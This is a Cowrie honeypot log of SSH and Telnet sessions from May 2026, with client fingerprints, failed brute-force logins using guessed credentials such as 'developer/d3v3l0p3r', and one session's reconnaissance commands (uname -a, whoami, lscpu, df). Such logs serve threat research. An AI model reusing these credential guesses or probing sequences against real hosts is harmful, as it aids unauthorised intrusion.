{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:30.499392Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:30.720025Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:31.190396Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:31.193778Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:31.415547Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:31.908262Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:31.911246Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:32.130138Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:32.599590Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:32.602989Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:32.823068Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:33.297296Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:33.300453Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:33.521255Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:33.984659Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:33.987351Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:34.206738Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:07:34.211616Z","src_ip":"152.32.171.213","session":"39997a296a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":41732,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd68b79d03d","protocol":"ssh","message":"New connection: 103.129.221.202:41732 (10.17.0.5:22) [session: cfd68b79d03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:11.273743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:11.278275Z","src_ip":"103.129.221.202","session":"cfd68b79d03d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:11.527687Z","src_ip":"103.129.221.202","session":"cfd68b79d03d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myappuser","password":"password","message":"login attempt [myappuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:12.556298Z","src_ip":"103.129.221.202","session":"cfd68b79d03d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:13.809642Z","src_ip":"103.129.221.202","session":"cfd68b79d03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":50612,"dst_ip":"10.17.0.5","dst_port":22,"session":"1855d819c34e","protocol":"ssh","message":"New connection: 112.217.199.222:50612 (10.17.0.5:22) [session: 1855d819c34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:21.272495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:21.277091Z","src_ip":"112.217.199.222","session":"1855d819c34e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:21.478573Z","src_ip":"112.217.199.222","session":"1855d819c34e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"d3v3l0p3r","message":"login attempt [developer/d3v3l0p3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:22.308622Z","src_ip":"112.217.199.222","session":"1855d819c34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:23.511912Z","src_ip":"112.217.199.222","session":"1855d819c34e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":54488,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d0c01c08a32","protocol":"telnet","message":"New connection: 185.26.126.47:54488 (159.203.135.109:23) [session: 2d0c01c08a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:28.085495Z"}
{"eventid":"cowrie.session.closed","duration":5.514619588851929,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:33.600001Z","src_ip":"185.26.126.47","session":"2d0c01c08a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":57342,"dst_ip":"10.17.0.5","dst_port":22,"session":"77eef4c4fed1","protocol":"ssh","message":"New connection: 103.13.206.100:57342 (10.17.0.5:22) [session: 77eef4c4fed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:37.776174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:37.780704Z","src_ip":"103.13.206.100","session":"77eef4c4fed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":39476,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa20ac46b6b1","protocol":"ssh","message":"New connection: 152.32.171.213:39476 (10.17.0.5:22) [session: aa20ac46b6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:37.826424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:37.831648Z","src_ip":"152.32.171.213","session":"aa20ac46b6b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:38.022723Z","src_ip":"103.13.206.100","session":"77eef4c4fed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:38.052539Z","src_ip":"152.32.171.213","session":"aa20ac46b6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345!@#$%","message":"login attempt [ubuntu/12345!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:38.973377Z","src_ip":"152.32.171.213","session":"aa20ac46b6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2022","message":"login attempt [ubuntu/2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:39.026569Z","src_ip":"103.13.206.100","session":"77eef4c4fed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:40.197891Z","src_ip":"152.32.171.213","session":"aa20ac46b6b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:08:40.287634Z","src_ip":"103.13.206.100","session":"77eef4c4fed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34086,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bca1ad78766","protocol":"telnet","message":"New connection: 64.227.9.242:34086 (159.203.135.109:23) [session: 8bca1ad78766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:03.330747Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40870,"dst_ip":"159.203.135.109","dst_port":23,"session":"468815a09244","protocol":"telnet","message":"New connection: 64.227.9.242:40870 (159.203.135.109:23) [session: 468815a09244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:14.857424Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":39474,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b93e6b45b22","protocol":"ssh","message":"New connection: 112.217.199.222:39474 (10.17.0.5:22) [session: 0b93e6b45b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:15.047179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:15.052404Z","src_ip":"112.217.199.222","session":"0b93e6b45b22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:15.264505Z","src_ip":"112.217.199.222","session":"0b93e6b45b22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"111111","message":"login attempt [test1/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:16.125779Z","src_ip":"112.217.199.222","session":"0b93e6b45b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:17.335857Z","src_ip":"112.217.199.222","session":"0b93e6b45b22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":58654,"dst_ip":"10.17.0.5","dst_port":22,"session":"edcfb13c859e","protocol":"ssh","message":"New connection: 103.129.221.202:58654 (10.17.0.5:22) [session: edcfb13c859e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:36.875635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:36.880116Z","src_ip":"103.129.221.202","session":"edcfb13c859e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:09:37.128624Z","src_ip":"103.129.221.202","session":"edcfb13c859e","protocol":"ssh"}
